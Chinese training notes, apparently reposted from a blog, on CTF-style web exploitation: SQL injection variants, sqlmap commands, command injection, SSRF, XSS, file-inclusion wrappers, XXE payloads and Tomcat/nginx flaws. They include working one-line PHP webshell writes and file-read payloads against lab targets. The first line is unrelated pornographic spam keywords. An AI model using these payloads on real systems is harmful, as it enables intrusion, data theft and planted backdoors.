国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

網(wǎng)安培訓第二期——sql注入+中間件+工具

這篇具有很好參考價值的文章主要介紹了網(wǎng)安培訓第二期——sql注入+中間件+工具。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

寬字節(jié)注入

gbk 中文
utf-8
mysql:數(shù)據(jù)庫使用gbk編碼方式
php:魔術(shù)轉(zhuǎn)義符
使用%df跟省下的字節(jié)去組成一個漢字實現(xiàn)閉合。
例題:

  1. 單引號沒反應
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  2. 添加%df報錯
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  3. 添加%23報錯消失,驗證即可知,閉合成功。
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

插入注入

insert

insert into news values (0, '123', '456')

閉合方式 123’,‘456’)#

insert into news values (0, '123
', '456')#','')

1.閉合方式(確定sql語句格式、列數(shù))
2.字段匹配
3.字段類型(int 日期 時間)

二次注入

update
先將惡意字符入庫,再代入(有兩種方式取值:1.session取值 2.數(shù)據(jù)庫select取值)查詢。

  1. 注冊惡意用戶 admin’ --> php轉(zhuǎn)義成admin’ --> 數(shù)據(jù)庫存儲為 admin’
// session取值
$username = $_SESSION['username'];
// admin'
update users set password='$pass' where username='admin'#' and password='$curr_pass'

使用 admin'# 完成閉合,通過修改admin'#用戶密碼的方式,基于注入,實際修改的是admin用戶的密碼,通過'# 拼接and password='$curr_pass'跳過了原密碼的驗證。

例題:sqli/Less-24

  1. 注冊用戶admin’#12138
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  2. 登錄用戶admin’#12138
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  3. 修改admin’#12138用戶的密碼,頁面顯示被操作用戶為admin’#12138,實際上通過sql注入實現(xiàn)了對admin賬戶密碼的修改。
update users set password='$pass' where username='admin
'#' and password='$curr_pass'

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

正常sql語句

update users set password='$pass' where username='admin' and password='$curr_pass'

PDO模式(動態(tài)靶機?。。。。。?!)

目前注入點,只支持查詢select。
使用pdo模式,支持增刪改查操作。

選取chujiban數(shù)據(jù)庫中 news 表的 id, title 和 content 字段,并放到 HTML 表格中:

<?php
header("Content-Type:text/html;charset=utf-8");
echo "<table style='border: solid 1px black;'>";
echo "<tr><th>Id</th><th>標題</th><th>內(nèi)容</th></tr>";
 
class TableRows extends RecursiveIteratorIterator {
    function __construct($it) { 
        parent::__construct($it, self::LEAVES_ONLY); 
    }
 
    function current() {
        return "<td style='width:150px;border:1px solid black;'>" . parent::current(). "</td>";
    }
 
    function beginChildren() { 
        echo "<tr>"; 
    } 
 
    function endChildren() { 
        echo "</tr>" . "\n";
    } 
} 
 
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "chujiban";
$id = $_GET['id'];
if(!empty($id)) {
    try {
        $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $stmt = $conn->prepare("SELECT id, title, content FROM news where id = '$id'"); 
        $stmt->execute();
     
        // 設(shè)置結(jié)果集為關(guān)聯(lián)數(shù)組
        $result = $stmt->setFetchMode(PDO::FETCH_ASSOC); 
        foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) { 
            echo $v;
        }
    }
    catch(PDOException $e) {
        echo "Error: " . $e->getMessage();
    }
}
 

$conn = null;
echo "</table>";
?>
  1. 瀏覽器打開php頁面
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  2. 單引號閉合
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  3. 基于pdo模式進行注入
    原sql代碼SELECT id, title, content FROM news where id = '$id',通過瀏覽器輸入http://127.0.0.1/pdo.php?id=2%27;update%20news%20set%20title=0x61626364%20where%20id=1%23,實現(xiàn)了對id=1的數(shù)據(jù)修改。
    注意:1.第一個sql語句后要加分號;2.實現(xiàn)這種操作基于擁有update權(quán)限。
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  4. 查詢id=1的數(shù)據(jù)驗證更改成功。
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    通過瀏覽器輸入http://127.0.0.1/pdo.php?id=1%27;insert into news values(0, 'abc', 'def')%23可以實現(xiàn)數(shù)據(jù)插入

sql注入讀取文件

條件:

  1. 數(shù)據(jù)庫賬號具備file權(quán)限
  2. 文件讀取權(quán)限
  3. mysql配置文件mysql.ini設(shè)置參數(shù)secure-file-priv=""
load_file(filename)
SELECT LOAD_FILE('D:/phpstudy_pro/WWW/1.txt');

1.數(shù)據(jù)庫權(quán)限 增刪改查
2.文件權(quán)限 讀寫

GRANT FILE,SELECT ON chujiban.* TO 'chujiban1'@'%' INENTIFIED BY '123456';

sql注入導出文件

into outfile "c:/xxx.txt"
select 1 into outfile "c:/2.txt";

條件:

  1. 數(shù)據(jù)庫賬號具備file權(quán)限
  2. 文件讀取權(quán)限
  3. mysql配置文件mysql.ini設(shè)置參數(shù)secure-file-priv=""

mysql.ini->參數(shù)secure-file-priv
1.null 不允許導入導出
2.“”允許導出到任意位置
3.特定位置

例題:
1.找到注入點
通過在根目錄上傳phpinfo.php,然后查看在phpinfo頁面搜索ROOT,可以查找到路徑

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

2.寫入一句話木馬 寫入考試地址/var/www/html/

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,"<?php eval($_POST['pass']);?>" into outfile "/var/www/html/1.php"%23

3.使用哥斯拉連接
4.找flag
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

linux命令

find / -name *flag*

10.12筆記

sqlmap

——基于python 基于http請求

kali下的sqlmap命令:

  1. 注入
sqlmap -u "http:xxx\id=1"

2.查看數(shù)據(jù)庫

sqlmap -u "http:xxx\id=1" --dbs

3.查看表

sqlmap -u "http:xxx\id=1" -D 數(shù)據(jù)庫名 --tables

4.查看列

sqlmap -u "http:xxx\id=1" -D 數(shù)據(jù)庫名 -T 表名 --columns

5.查看詳細信息

sqlmap -u "http:xxx\id=1" -D 數(shù)據(jù)庫名 -T 表名 --columns --dump

sqlmap參數(shù)

-h 幫助文檔
-u 指定url

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

–proxy 使用代理查看sqlmap的每次payload請求

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --proxy=http://127.0.0.1:8080

–current-user 指定當前用戶

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user

–current-db 指定當前數(shù)據(jù)庫

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db

–dbs 查看所有數(shù)據(jù)庫

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

–users 查看所有用戶

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users

–password 獲取密碼hash

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --password

-D 指定數(shù)據(jù)庫
–tables 查看指定數(shù)據(jù)庫下的所有表

查看security數(shù)據(jù)庫下的所有表
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables

-T 指定表
–columns 查看指定數(shù)據(jù)庫指定表下的所有列

查看security數(shù)據(jù)庫下的users表的所有列
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

-C 指定列
-C username,password 指定username,password列輸出
–dump 查看表信息,導出數(shù)據(jù)

查看security數(shù)據(jù)庫下的users表的username,password列輸出
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump
查看security數(shù)據(jù)庫下的users表信息
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump

//從第一條開始,到第五條
–start 1 --stop 5

查看security數(shù)據(jù)庫下的users表信息前五條
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump --start 1 --stop 5

針對post請求的兩種方式:

  1. -r 讀取文件(一般適用于post請求)
    例Less-11:
    1.burp抓包
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    2.copy to file(跟sqlmap同路徑)
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    3.sqlmap執(zhí)行
python sqlmap.py -r 1.txt 
python sqlmap.py -r 1.txt --dbs
python sqlmap.py -r 1.txt -D 數(shù)據(jù)庫名 -T 表名 --dump
  1. –data 添加參數(shù)
    網(wǎng)頁提交→f12→網(wǎng)絡(luò)→找到請求→負載→查看源→復制參數(shù)→sqlmap啟動
python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

–cookie 指定cookie

python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

User-Agent注入
* 指定注入?yún)?shù)位置
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
后續(xù)跟 -r 使用文件注入步驟一樣,唯一區(qū)別為在sqlmap啟動的時候會有一個是否對標記注入點進行payload的確認,如下。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
sqlmap注入帶來的User-Agent為sqlmapxxx問題
使用參數(shù)–random-agent 實現(xiàn)隨機User-Agent解決。

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --random-agent

–flush-session 刷新緩存

-v 0-6 顯示等級
1 默認
2 debug信息
3 顯示payload信息
4 顯示請求頭
5 顯示返回頭
6 顯示完整返回包

–level 1-5 默認1
1 普通探測
2 探測cookie

3 探測user-agent

User-Agent注入:對burp取到的抓包內(nèi)容直接進行探測
python sqlmap.py -r 3.txt --level 3

4 探測refer
5

10.13筆記

在4種注入方式都支持的情況下,注入方式使用的優(yōu)先級順序為
–technique=U,E,B,T
–threads 10
–sql-shell sqlmap提供的模擬mysql的shell
使用pdo進行測試:

python sqlmap.py -u "http://127.0.0.1/pdo.php?id=1" --sql-shell

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
非pdo模式不支持堆語句查詢,以sqli/Less1測試:
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

–privileges 查看用戶權(quán)限

sqlmap 文件讀寫

兩大前提:
1 所有的權(quán)限(1,2,3)
2 知道根路徑

load_file()
into outfile “”

–os-shell 獲取一個系統(tǒng)shell

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell

針對于找到注入點,但是無法在數(shù)據(jù)庫中查詢到flag的情況

  1. 找到注入點 添加 --os-shell
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    1.使用默認sqlmap自導的幾個路徑
    2.自寫路徑地址
    3.路徑字典-絕對路徑 c:/file.txt
    4.使用sqlmap自帶的路徑字典(linux路徑)
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  2. 輸入路/var/www/html

  3. 上傳小馬

  4. 上傳大馬
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  5. 哥斯拉連接
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

ps:另外一個文件用于執(zhí)行系統(tǒng)命令
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
–os-shell 本質(zhì):
into outfile “”
into dumpfile “”

–file-read load_file() 前提:有讀取權(quán)限

python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-read=D:/phpstudy_pro/WWW/1.txt

上傳:
–file-write=1.php 指定本地的php文件
–file-dest=c:/phpstudy_pro/www/1.php 指定遠程路徑地址

# 在注入點把F:/迅雷下載/網(wǎng)安/archive/滲透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt上傳到D:/phpstudy_pro/WWW/2.txt文件中
python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-dest=D:/phpstudy_pro/WWW/2.txt --file-write=F:/迅雷下載/網(wǎng)安/archive/滲透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt

前后綴

–prefix 增加前綴

--prefix '\'

–suffix 增加后綴

常用tamper及適用場景

base64encode base64編碼
between between替換大于號
equaltolike 過濾=,=換成like
concat2concatws 過濾concat
nonrecursivereplacement 關(guān)鍵字雙寫
randomcase 關(guān)鍵字隨機大小寫
space2morecomment 隨機注釋符代替空格
space2randomblank 隨機空白符替換空格
unmagicquotes 寬字節(jié)
varnish 偽造http頭 X-originating-IP
xforwardedfor 偽造http頭 X-Forwarded-For

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=between,equaltolike,concat2concatws,randomcase,space2morecomment,varnish,xforwardedfor --random-agent --threads 10

10.14筆記

命令執(zhí)行漏洞

場景:路由器/運維機 ping命令

// ping.php
<?php
$ip = $_POST['ip'];
// system exec shell_exec ``
if(!empty($ip)) {
    $cmd = "ping ".$ip;
    system($cmd);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ping</title>
</head>
<body>
    <form action="" method="post">
        ip:<input type="text" name="ip"><br>
        <input type="submit" value="ping">
    </form>
    
</body>
</html>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

linux命令連接符

  1. 分號 ; 依次運行兩個命令,真真和假真都可。
# 真真
ping 127.0.0.1 ; whoami
# 假真
ping 777.0.0.1 ; whoami

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

# 其他可用命令,如
# 假真
cat 1.txt ; whoami 
# 真真
find /var/www/html/ -name 題目文件名.php ; whoami 
  1. || 或運算,只有假真才可
# 假真
ping 777.0.0.1  || whoami

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

# 其他可用命令,如
# 假真
cat 12138.txt || whoami 
# 假真
find / -name 12138.php || whoami 
  1. | ,真真和假真都可
# 真真
ping 127.0.0.1 | whoami
# 假真
ping 777.0.0.1 | whoami

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 題目文件名.php | whoami 
# 假真
cat 12138.txt | whoami
  1. && ,只有真真才可。
# 真真
ping 127.0.0.1 && whoami

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 題目文件名.php && whoami 
  1. & ,真真和假真都可。
# 真真
ping 127.0.0.1 & whoami
# 假真
ping 777.0.0.1 & whoami

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 題目文件名.php & whoami 
# 假真
cat 12138.txt & whoami

windows命令連接符

  1. && , 真真可輸出。
C:\Users\dongy>ping 127.0.0.1 && whoami

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計信息:
    數(shù)據(jù)包: 已發(fā)送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms
dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 && whoami
Ping 請求找不到主機 777.0.0.1。請檢查該名稱,然后重試。
  1. &,真真和假真都可輸出。
C:\Users\dongy>ping 127.0.0.1 & whoami

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計信息:
    數(shù)據(jù)包: 已發(fā)送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms
dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 & whoami
Ping 請求找不到主機 777.0.0.1。請檢查該名稱,然后重試。
dy-pc\dongy
  1. || ,假真可輸出。
C:\Users\dongy>ping 127.0.0.1 || whoami

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64
來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計信息:
    數(shù)據(jù)包: 已發(fā)送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
    最短 = 0ms,最長 = 0ms,平均 = 0ms

C:\Users\dongy>ping 777.0.0.1 || whoami
Ping 請求找不到主機 777.0.0.1。請檢查該名稱,然后重試。
dy-pc\dongy
  1. |,真真和假真都可輸出。
C:\Users\dongy>ping 127.0.0.1 | whoami
dy-pc\dongy

C:\Users\dongy>
C:\Users\dongy>ping 777.0.0.1 | whoami
dy-pc\dongy
127.0.0.1 | echo '<?php @eval($_POST[12138]);?>' >> /var/www/html/12138.php
127.0.0.1 | find / -name *flag*
127.0.0.1 | whoami

代碼執(zhí)行漏洞

10.15筆記

SSRF(可能考察burp爆破)

xss 跨站腳本攻擊(竊取cookie) 反射型和存儲型

script
xxx.php?xxx=<script>alert(1111)</script>
document.cookie
xxx.php?cookie=document,cookie

csrf 跨站請求偽造

ssrf 攻擊(參數(shù)image=后面的)可以爆破,主機地址不可以爆破)

http://www.xxx.com/a.php?image=http://xxx.com/1.jpg
http://www.xxx.com/a.php?image=http://10.211.55.18/1.jpg
//ssrf.php
<?php
if(isset($_REQUEST['url'])) {
    
    $_link = $_REQUEST['url'];
    //$filename = './curled/'.time().'.txt';
    $curlobj = curl_init($_link);
    //$fp = fopen($filename, "W");
    //curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_exec($curlobj);
    curl_close($curlobj);
    //fclose($fp);
    //$fp = fopen($filename, "r");
    //$result = fread($fp, filesize($filename));
    //fclose($fp);
    //echo $curlobj;
}else {
    echo "start!";
}
?>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
讀取文件

http://127.0.0.1/ssrf.php?url=file://C:\Windows\System32\drivers\etc\hosts
?url=file://C:\Windows\System32\drivers\etc\hosts

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  1. 探測內(nèi)網(wǎng)web資源信息 ?url=http://127.0.0.1/
  2. 探測端口 dist://127.0.0.1:3306 使用burp進行爆破
  3. 讀取本地文件file:///var/www/html/xxx.txt

10.16筆記

WSDL api接口(不考)

前后端分離→前端 + 后端:考試平臺→vue + golang(編譯型語言,不同于php解釋型語言)→編譯后為可執(zhí)行程序
token ≈ session,cookie

php偽協(xié)議

1 file:// — 訪問本地文件系統(tǒng)
2 http:// — 訪問 HTTP(s) 網(wǎng)址
3 ftp:// — 訪問 FTP(s) URLs
4 php:// — 訪問各個輸入/輸出流(I/O streams)
5 zip:// — 壓縮流
6 phar:// — PHP 歸檔
7 glob:// — 查找匹配的文件路徑模式
8 data:// — 數(shù)據(jù)(RFC 23979 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音頻流
12 expect:// — 處理交互式的流
  1. file://
// i.php  文件包含
<?php
$file=$_GET['file'];
include $file;
?>

相對路徑
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

絕對路徑
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
退級查找文件

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../1.txt

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
絕對路徑查找文件
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  1. php://filter
//將文件內(nèi)容轉(zhuǎn)換成base64編碼
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  1. php://input
// 用來執(zhí)行php代碼,通常以post方式
127.0.0.1/i.php?file=php://input

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
寫入一句話代碼

//phpinput.php
<?php
    $file=fopen("dy12138.php","w");
    fwrite($file, "<?php eval(\$_POST['pass'])?>");
    fclose($file);
?>

burp寫入一句話木馬
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
連接成功
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
4. zip:// phar:// — 壓縮流

http://127.0.0.1/i.php?file=zip://d:\phpstudy_pro\www\1.zip%23123.txt
http://127.0.0.1/i.php?file=phar://d:\phpstudy_pro/www\1.zip\123.txt

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

  1. http:// ——遠程包含,先考慮目錄掃描或從本身找線索。
http://127.0.0.1/i.php?file=http://127.0.0.1/1.txt

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

10.17筆記

1016考試題整理
思路:文件包含,在不知道其他文件的情況下,先讀文件本體,也可考慮使用php://input通過寫入shell的方式獲取flag,但是需要php.ini中allow_url_include=On網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
無法讀取,考慮是否為base64編碼。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

XXE 外部實體注入

參考
實驗一:有回顯讀本地敏感文件(Normal XXE)
這個實驗的攻擊場景模擬的是在服務能接收并解析 XML 格式的輸入并且有回顯的時候,我們就能輸入我們自定義的 XML 代碼,通過引用外部實體的方法,引用服務器上面的文件.

本地服務器上放上解析 XML 的 php 代碼:

示例代碼:xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

burp對127.0.0.1/xml.php抓包,send to repeater → 改為POST 提交方式
添加參數(shù)
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]> 
<creds>&t12138;</creds>



<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]> 
<creds>&t12138;</creds>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
同理,php://filter 同樣適用

//將文件內(nèi)容轉(zhuǎn)換成base64編碼
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

JSONP 挾持(不好考察)

同源策略介紹:

  • 同源策略:同域名 同端口號 同協(xié)議;
  • 瀏覽器有一個“同源策略”的規(guī)則: 只有在同域名同端口號和同協(xié)議下才能進行數(shù)據(jù)的請求和傳輸;
  • 不符合同源策略的,瀏覽器為了安全,會阻止請求;

解決跨域問題,有兩種辦法:

  • 第一就是:cors,由后端設(shè)置:Access-Control-Allow-Origin:*
  • 這也就是為什么有一些數(shù)據(jù)可以跨域訪問,因為它們后端設(shè)置了允許指定接口或者允許所有接口去訪問,這個設(shè)置可以在Response Headers里看到;
  • CORS是一種允許當前域(domain)的資源(比如html/js/web service)被其他域(domain)的腳本請求訪問的機制;
  • 第二就是:jsonp,由前后端協(xié)作去設(shè)置;
  • jsonp的原理:動態(tài)創(chuàng)建script標簽,src屬性指向沒有跨域限制;指向一個接口,接口返回的格式一定是***()函數(shù)表達式
    代碼:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <button id="mybtn">jsonp</button>
 
    <script>
        //調(diào)用這個數(shù)據(jù)里面的函數(shù),拿回來請求的數(shù)據(jù)
        function callbackFunction(obj) {
            console.log(obj)
        }
 
        mybtn.onclick = function () {
            var oscript = document.createElement("script")//動態(tài)創(chuàng)建script節(jié)點
            oscript.src = `https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction`//請求數(shù)據(jù)的地址
            document.body.appendChild(oscript)//將節(jié)點插入到body里面
            oscript.onload = function(){
                //刪除當前script節(jié)點
                oscript.remove()
            }
        }
    </script>
</body>
</html>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
產(chǎn)生漏洞:jsonp挾持
JSONP劫持,就是攻擊者attacker通過構(gòu)造設(shè)計一個網(wǎng)站evil(網(wǎng)站中包含其他網(wǎng)站的JSONP漏洞利用代碼,具體為回調(diào)函數(shù)和script標簽)請求用戶已注冊并登錄的網(wǎng)站victim(含有JSONP漏洞,該網(wǎng)站對來自網(wǎng)站evil的請求沒有進行安全檢查直接返回數(shù)據(jù))將數(shù)據(jù)通過alert彈窗等方式返回到網(wǎng)站victim并顯示用戶在網(wǎng)站victim的注冊信息。
總結(jié):JSONP劫持就是利用scirpt標簽的src屬性實現(xiàn)跨域請求,獲取網(wǎng)站數(shù)據(jù)的過程。

中間件

  1. apache
    php服務 → 列目錄 → 幫助了解web架構(gòu)
    列目錄:
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
    可以使用目錄掃描工具,通過DIR.txt→PHP.txt→phptop2500.txt→phptop10000.txt字典,掃描目錄。

  2. nginx
    虛假原因:nginx < 0.8 出現(xiàn)了1.jpg可使用1.jpg/*.php執(zhí)行圖片文件的漏洞
    真實原因:php.cgi配置問題導致的畸形解析漏洞
    一般通過畸形解析漏洞結(jié)合上傳白名單考察。

先嘗試是否可以直接上傳php,不行的話使用圖片一句話木馬。
靶機地址:http://ctf.vivivi.vip:30011/
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
圖片加入一句話木馬

copy 1.jpg/b + phpinput.php test.jpg

上傳→執(zhí)行→查看文件。

10.18筆記

tomcat

應用于java → 具有管理頁面
本地tomcat默認口令:admin:admin

基于tomcat通過jsp文件的一句話木馬連接哥斯拉:

  1. 使用哥斯拉生成一句話木馬 1.jsp(基于java)
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  2. 將1.jsp打包成1.war
